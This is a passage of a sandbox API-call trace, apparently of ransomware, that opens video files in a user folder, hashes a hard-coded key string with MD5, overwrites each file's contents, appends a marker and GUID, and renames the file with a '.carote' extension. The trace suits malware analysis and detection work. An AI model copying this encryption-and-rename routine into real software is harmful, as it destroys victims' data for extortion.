ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0x7dd9e350, ftLastWriteTime.dwHighDateTime=0x1d4d25d, nFileSizeHigh=0x0, nFileSizeLow=0x16e94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nijAYu7CZB.swf", cAlternateFileName="NIJAYU~1.SWF")) returned 1 [0114.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0114.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x136) returned 0x79f4e98 [0114.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da140 | out: hHeap=0x5010000) returned 1 [0114.567] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\nijAYu7CZB.swf") returned=".swf" [0114.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\nijAYu7CZB.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\nijayu7czb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.567] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=93844) returned 1 [0114.567] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.569] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16e6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.569] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0114.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.570] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.570] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x16e94, lpOverlapped=0x0) returned 1 [0114.571] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.571] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.571] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.571] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.572] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.572] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.572] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.573] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.573] GetLastError () returned 0x0 [0114.573] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.573] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16e90) returned 0x7b1c730 [0114.573] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.573] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x16e8f, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x16e8f, lpOverlapped=0x0) returned 1 [0114.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0114.574] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.574] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.574] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.574] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.574] CloseHandle (hObject=0x61c) returned 1 [0114.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x79f8730 [0114.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x900) returned 0x7b14908 [0114.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.575] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\nijAYu7CZB.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\nijayu7czb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\nijAYu7CZB.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\nijayu7czb.swf.carote")) returned 1 [0114.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.576] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f4e98 | out: hHeap=0x5010000) returned 1 [0114.577] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c5930, ftCreationTime.dwHighDateTime=0x1d4d492, ftLastAccessTime.dwLowDateTime=0x5d163950, ftLastAccessTime.dwHighDateTime=0x1d4ce9a, ftLastWriteTime.dwLowDateTime=0x5d163950, ftLastWriteTime.dwHighDateTime=0x1d4ce9a, nFileSizeHigh=0x0, nFileSizeLow=0x1516e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PuAy84E.flv", cAlternateFileName="")) returned 1 [0114.577] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0114.577] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x136) returned 0x79f4e98 [0114.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da140 | out: hHeap=0x5010000) returned 1 [0114.577] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\PuAy84E.flv") returned=".flv" [0114.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\PuAy84E.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\puay84e.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.579] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=86382) returned 1 [0114.579] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.581] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.581] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0114.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.582] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.582] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1516e, lpOverlapped=0x0) returned 1 [0114.583] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.583] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.583] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.583] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.584] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.584] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.584] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.584] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.584] GetLastError () returned 0x0 [0114.584] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.584] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x15170) returned 0x7b1c730 [0114.585] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.585] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x15169, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x15169, lpOverlapped=0x0) returned 1 [0114.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0114.585] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1516e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.586] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.586] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.586] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.587] CloseHandle (hObject=0x61c) returned 1 [0114.588] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0114.588] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8f0) returned 0x7b14908 [0114.588] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0114.588] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\PuAy84E.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\puay84e.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\PuAy84E.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\puay84e.flv.carote")) returned 1 [0114.588] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.588] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f4e98 | out: hHeap=0x5010000) returned 1 [0114.589] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d90220, ftCreationTime.dwHighDateTime=0x1d4d3fe, ftLastAccessTime.dwLowDateTime=0xb71c85f0, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0xb71c85f0, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x93e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SXB8IlVATC g7CApR0.avi", cAlternateFileName="SXB8IL~1.AVI")) returned 1 [0114.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0114.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x136) returned 0x79f4e98 [0114.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da140 | out: hHeap=0x5010000) returned 1 [0114.589] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\SXB8IlVATC g7CApR0.avi") returned=".avi" [0114.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\SXB8IlVATC g7CApR0.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\sxb8ilvatc g7capr0.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.590] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=37864) returned 1 [0114.590] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.591] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x93c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.591] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.593] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0114.593] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.593] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.593] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x93e8, lpOverlapped=0x0) returned 1 [0114.594] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.594] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.594] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.594] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.594] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.595] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.595] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.595] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.595] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.595] GetLastError () returned 0x0 [0114.595] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.595] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x93f0) returned 0x7b1c730 [0114.595] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.595] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x93e3, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x93e3, lpOverlapped=0x0) returned 1 [0114.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0114.595] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x93e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.596] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.596] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.596] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.596] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.596] CloseHandle (hObject=0x61c) returned 1 [0114.597] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x100) returned 0x79f8730 [0114.597] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x910) returned 0x7b14908 [0114.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.597] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\SXB8IlVATC g7CApR0.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\sxb8ilvatc g7capr0.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\SXB8IlVATC g7CApR0.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\sxb8ilvatc g7capr0.avi.carote")) returned 1 [0114.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.598] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f4e98 | out: hHeap=0x5010000) returned 1 [0114.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d90220, ftCreationTime.dwHighDateTime=0x1d4d3fe, ftLastAccessTime.dwLowDateTime=0xb71c85f0, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0xb71c85f0, 